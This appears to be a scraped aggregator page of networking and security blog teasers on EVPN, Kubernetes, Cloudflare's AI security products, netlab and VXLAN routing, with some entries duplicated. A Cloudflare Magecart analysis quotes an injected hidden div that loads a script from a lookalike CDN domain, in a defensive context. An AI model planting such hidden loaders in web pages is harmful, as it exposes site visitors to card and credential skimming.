Navigating the Network: The Quest for Innocence in a World of Complexity

Welcome to the digital age, where the marvels of self-driving cars and sophisticated AI like ChatGPT grace our everyday lives. Yet, amidst these advancements, a battleground often goes unnoticed, hidden within the layers of our network infrastructures. It's a world where network teams are the unsung heroes, tirelessly working behind the scenes to keep our digital lifelines seamless and uninterrupted. Today, I want to take you on a journey through Network Observability, a beacon of hope in the relentless quest to avoid outages, understand the impact of change, and quickly and accurately root cause complex situations.

Enterprise Security Gets Personal: Enter the Human Firewall

Rant: Multi-Vendor EVPN Fabrics

Daniel Dib tweeted about an old comment of mine a few days ago, adding¹:

Not surprisingly, that was bound to upset a few people, and Roman Dodin quickly pointed out the EVPN interoperability tests:

Rant: Multi-Vendor EVPN Fabrics

Daniel Dib tweeted about an old comment of mine a few days ago, adding¹:

Not surprisingly, that was bound to upset a few people, and Roman Dodin quickly pointed out the EVPN interoperability tests:

The AI Wave Finally Starts Lifting Dell And HPE

It is beginning to look like the Dell Technologies and Hewlett Packard Enterprose, the world’s two biggest original equipment manufacturers, are finally going to start benefitting from the generative AI wave, mainly because they are finally getting enough allocations of GPUs from Nvidia and AMD that they can start addressing the needs of customers who don’t happen to be among the hyperscalers and largest cloud builders. …

The AI Wave Finally Starts Lifting Dell And HPE was written by Timothy Prickett Morgan at The Next Platform.

NB 468: Broadcom Checks SASE Box; Spirent Announces AI Traffic Emulator For Ethernet Networks

Forget High Availability; Modern Enterprises Need Always-on Services

Synopsys Shepherds Circuits Towards 1.6T Ethernet

The Ethernet roadmap has had a few bumps and potholes in the four and a half decades since the 10M generation was first published in 1980. …

Synopsys Shepherds Circuits Towards 1.6T Ethernet was written by Jeffrey Burt at The Next Platform.

The Black Hole That Is the Kubernetes Network

There’s been a tension in physics over the last century or so between two theories. Both have proven valuable for predicting the behavior of the universe, as well as for advancing technological engineering, but they seem to make completely incompatible claims about the nature of reality. I’m referring, of course, to the general theory of relativity and quantum theory. Ordinarily, these two theories tackle very different questions about the universe — one at the largest scale and the other at the smallest — but both theories come together in the study of black holes, points of space from which no information can escape. There’s a tension in the air at many enterprise organizations today as well between two heuristics for enterprise networking, both of which have produced excellent results for software companies for years. That tension revolves around Kubernetes. As a manager of cloud security and network infrastructure for a large regional bank put it, “Kubernetes ends up being this black hole of networking.” The analogy is apt. Like black holes, Kubernetes abstracts away much of the information traditionally used to understand and control networks. Like quantum theory, Kubernetes offers a new way to think about your network, but Continue reading

Kubernetes Clusters Have Massive Overprovisioning Of Compute And Memory

In the ten years since Google released Kubernetes to the open source community, it has become the dominant platform for orchestrating and managing software containers and microservices, along the way muscling out competitors like Docker Swarm and Mesosphere. …

Kubernetes Clusters Have Massive Overprovisioning Of Compute And Memory was written by Jeffrey Burt at The Next Platform.

Changing the industry with CISA’s Secure by Design principles

The United States Cybersecurity and Infrastructure Agency (CISA) and seventeen international partners are helping shape best practices for the technology industry with their ‘Secure by Design’ principles. The aim is to encourage software manufacturers to not only make security an integral part of their products’ development, but to also design products with strong security capabilities that are configured by default.

As a cybersecurity company, Cloudflare considers product security an integral part of its DNA. We strongly believe in CISA’s principles and will continue to uphold them in the work we do. We’re excited to share stories about how Cloudflare has baked secure by design principles into the products we build and into the services we make available to all of our customers.

What do “secure by design” and “secure by default” mean?

Secure by design describes a product where the security is ‘baked in’ rather than ‘bolted on’. Rather than manufacturers addressing security measures reactively, they take actions to mitigate any risk beforehand by building products in a way that reasonably protects against attackers successfully gaining access to them.

Secure by default means products are built to have the necessary security configurations come as a default, without additional Continue reading

Dispelling the Generative AI fear: how Cloudflare secures inboxes against AI-enhanced phishing

Email continues to be the largest attack vector that attackers use to try to compromise or extort organizations. Given the frequency with which email is used for business communication, phishing attacks have remained ubiquitous. As tools available to attackers have evolved, so have the ways in which attackers have targeted users while skirting security protections. The release of several artificial intelligence (AI) large language models (LLMs) has created a mad scramble to discover novel applications of generative AI capabilities and has consumed the minds of security researchers. One application of this capability is creating phishing attack content.

Phishing relies on the attacker seeming authentic. Over the years, we’ve observed that there are two distinct forms of authenticity: visual and organizational. Visually authentic attacks use logos, images, and the like to establish trust, while organizationally authentic campaigns use business dynamics and social relationships to drive their success. LLMs can be employed by attackers to make their emails seem more authentic in several ways. A common technique is for attackers to use LLMs to translate and revise emails they’ve written into messages that are more superficially convincing. More sophisticated attacks pair LLMs with personal data harvested from compromised accounts to write personalized, Continue reading

Cloudflare launches AI Assistant for Security Analytics

Imagine you are in the middle of an attack on your most crucial production application, and you need to understand what’s going on. How happy would you be if you could simply log into the Dashboard and type a question such as: “Compare attack traffic between US and UK” or “Compare rate limiting blocks for automated traffic with rate limiting blocks from human traffic” and see a time series chart appear on your screen without needing to select a complex set of filters?

Today, we are introducing an AI assistant to help you query your security event data, enabling you to more quickly discover anomalies and potential security attacks. You can now use plain language to interrogate Cloudflare analytics and let us do the magic.

What did we build?

One of the big challenges when analyzing a spike in traffic or any anomaly in your traffic is to create filters that isolate the root cause of an issue. This means knowing your way around often complex dashboards and tools, knowing where to click and what to filter on.

On top of this, any traditional security dashboard is limited to what you can achieve by the way data is stored, how Continue reading

Defensive AI: Cloudflare’s framework for defending against next-gen threats

Generative AI has captured the imagination of the world by being able to produce poetry, screenplays, or imagery. These tools can be used to improve human productivity for good causes, but they can also be employed by malicious actors to carry out sophisticated attacks.

We are witnessing phishing attacks and social engineering becoming more sophisticated as attackers tap into powerful new tools to generate credible content or interact with humans as if it was a real person. Attackers can use AI to build boutique tooling made for attacking specific sites with the intent of harvesting proprietary data and taking over user accounts.

To protect against these new challenges, we need new and more sophisticated security tools: this is how Defensive AI was born. Defensive AI is the framework Cloudflare uses when thinking about how intelligent systems can improve the effectiveness of our security solutions. The key to Defensive AI is data generated by Cloudflare’s vast network, whether generally across our entire network or specific to individual customer traffic.

At Cloudflare, we use AI to increase the level of protection across all security areas, ranging from application security to email security and our Zero Trust platform. This includes creating customized protection Continue reading

Navigating the maze of Magecart: a cautionary tale of a Magecart impacted website

The Cloudflare security research team reviews and evaluates scripts flagged by Cloudflare Page Shield, focusing particularly on those with low scores according to our machine learning (ML) model, as low scores indicate the model thinks they are malicious. It was during one of these routine reviews that we stumbled upon a peculiar script on a customer’s website, one that was being fetched from a zone unfamiliar to us, a new and uncharted territory in our digital map.

This script was not only obfuscated but exhibited some suspicious behavior, setting off alarm bells within our team. Its complexity and the mysterious nature piqued our curiosity, and we decided to delve deeper, to unravel the enigma of what this script was truly up to.

In our quest to decipher the script's purpose, we geared up to dissect its layers, determined to shed light on its hidden intentions and understand the full scope of its actions.

The Infection Mechanism: A seemingly harmless HTML div element housed a piece of JavaScript, a trojan horse lying in wait.

<div style="display: none; visibility: hidden;">
<script src="//cdn.jsdelivr.at/js/sidebar.min.js"></script>
</div>

The devil in the details

Continue reading

Introducing behavior-based user risk scoring in Cloudflare One

Cloudflare One, our secure access service edge (SASE) platform, is introducing new capabilities to detect risk based on user behavior so that you can improve security posture across your organization.

Traditionally, security and IT teams spend a lot of time, labor, and money analyzing log data to track how risk is changing within their business and to stay on top of threats. Sifting through such large volumes of data – the majority of which may well be benign user activity – can feel like finding a needle in a haystack.

Cloudflare’s approach simplifies this process with user risk scoring. With AI/machine learning techniques, we analyze the real-time telemetry of user activities and behaviors that pass through our network to identify abnormal behavior and potential indicators of compromises that could lead to danger for your organization, so your security teams can lock down suspicious activity and adapt your security posture in the face of changing risk factors and sophisticated threats.

User risk scoring

The concept of trust in cybersecurity has evolved dramatically. The old model of "trust but verify" has given way to a Zero Trust approach, where trust is never assumed and verification is continuous, as each network request Continue reading

Cloudflare announces Firewall for AI

Today, Cloudflare is announcing the development of Firewall for AI, a protection layer that can be deployed in front of Large Language Models (LLMs) to identify abuses before they reach the models.

While AI models, and specifically LLMs, are surging, customers tell us that they are concerned about the best strategies to secure their own LLMs. Using LLMs as part of Internet-connected applications introduces new vulnerabilities that can be exploited by bad actors.

Some of the vulnerabilities affecting traditional web and API applications apply to the LLM world as well, including injections or data exfiltration. However, there is a new set of threats that are now relevant because of the way LLMs work. For example, researchers have recently discovered a vulnerability in an AI collaboration platform that allows them to hijack models and perform unauthorized actions.

Firewall for AI is an advanced Web Application Firewall (WAF) specifically tailored for applications using LLMs. It will comprise a set of tools that can be deployed in front of applications to detect vulnerabilities and provide visibility to model owners. The tool kit will include products that are already part of WAF, such as Rate Limiting and Sensitive Data Detection, and a new protection Continue reading

netlab 1.8.0: Control-Plane Daemons, BIRD, dnsmasq

I wanted to include open-source networking-related software into netlab topologies since (at least) the days I was writing the DHCP relaying saga. It turned out to be a bit more complex than I anticipated (more about that in another blog post), but I hope you’ll find it useful. netlab release 1.8.0 includes dnsmasq running as a DHCP server and BIRD running OSPF and BGP. ExaBGP and GoBGP are already on the wish list; if you have any other ideas, please start a GitHub discussion.

I had a hard time finding reasonable container images for BIRD; the BIRD team does not publish them, and everything else I found looked either abandoned or a hobby project. The solution turned out to be exceedingly simple: you cannot run the containers without Docker anyway, which means the docker build command is just a few keystrokes away. I added Dockerfiles needed to build those containers to the netlab source code and implemented the netlab clab build command as a thin wrapper around docker build. It takes just a few seconds (plus the time it takes to download the Ubuntu container image) to build the containers you need.

netlab 1.8.0: Control-Plane Daemons, BIRD, dnsmasq

I wanted to include open-source networking-related software into netlab topologies since (at least) the days I was writing the DHCP relaying saga. It turned out to be a bit more complex than I anticipated (more about that in another blog post), but I hope you’ll find it useful. netlab release 1.8.0 includes dnsmasq running as a DHCP server and BIRD running OSPF and BGP. ExaBGP and GoBGP are already on the wish list; if you have any other ideas, please start a GitHub discussion.

I had a hard time finding reasonable container images for BIRD; the BIRD team does not publish them, and everything else I found looked either abandoned or a hobby project. The solution turned out to be exceedingly simple: you cannot run the containers without Docker anyway, which means the docker build command is just a few keystrokes away. I added Dockerfiles needed to build those containers to the netlab source code and implemented the netlab clab build command as a thin wrapper around docker build. It takes just a few seconds (plus the time it takes to download the Ubuntu container image) to build the containers you need.

Routed Packet Walk in VXLAN/EVPN Network

In a previous post, I walked through how a packet gets bridged in a VXLAN/EVPN network. In this post, I’ll go through how a packet gets routed, that is, packet from one VNI to another VNI. The following topology will be used:

The lab has the following characteristics:

• OSPF in the underlay.
• Ingress replication for BUM traffic through the use of EVPN.
• ARP suppression is enabled.

Server-2 initiates a ping towards Server-4:

Frame 562: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface ens257, id 4
Ethernet II, Src: 00:50:56:ad:f4:8d, Dst: 00:01:00:01:00:01
Internet Protocol Version 4, Src: 10.0.0.22, Dst: 198.51.100.44
Internet Control Message Protocol
    Type: 8 (Echo (ping) request)
    Code: 0
    Checksum: 0xd745 [correct]
    [Checksum Status: Good]
    Identifier (BE): 17 (0x0011)
    Identifier (LE): 4352 (0x1100)
    Sequence Number (BE): 1 (0x0001)
    Sequence Number (LE): 256 (0x0100)
    [Response frame: 563]
    Timestamp from icmp data: Mar  3, 2024 08:38:35.804470000 Romance Standard Time
    [Timestamp from icmp data (relative): 0.000701509 seconds]
    Data (40 bytes)

The destination MAC is 0001.0001.0001 which is the Anycast GW MAC configured on Leaf-2. As this MAC is used on SVI for VLAN 20 of Leaf-2, the Continue reading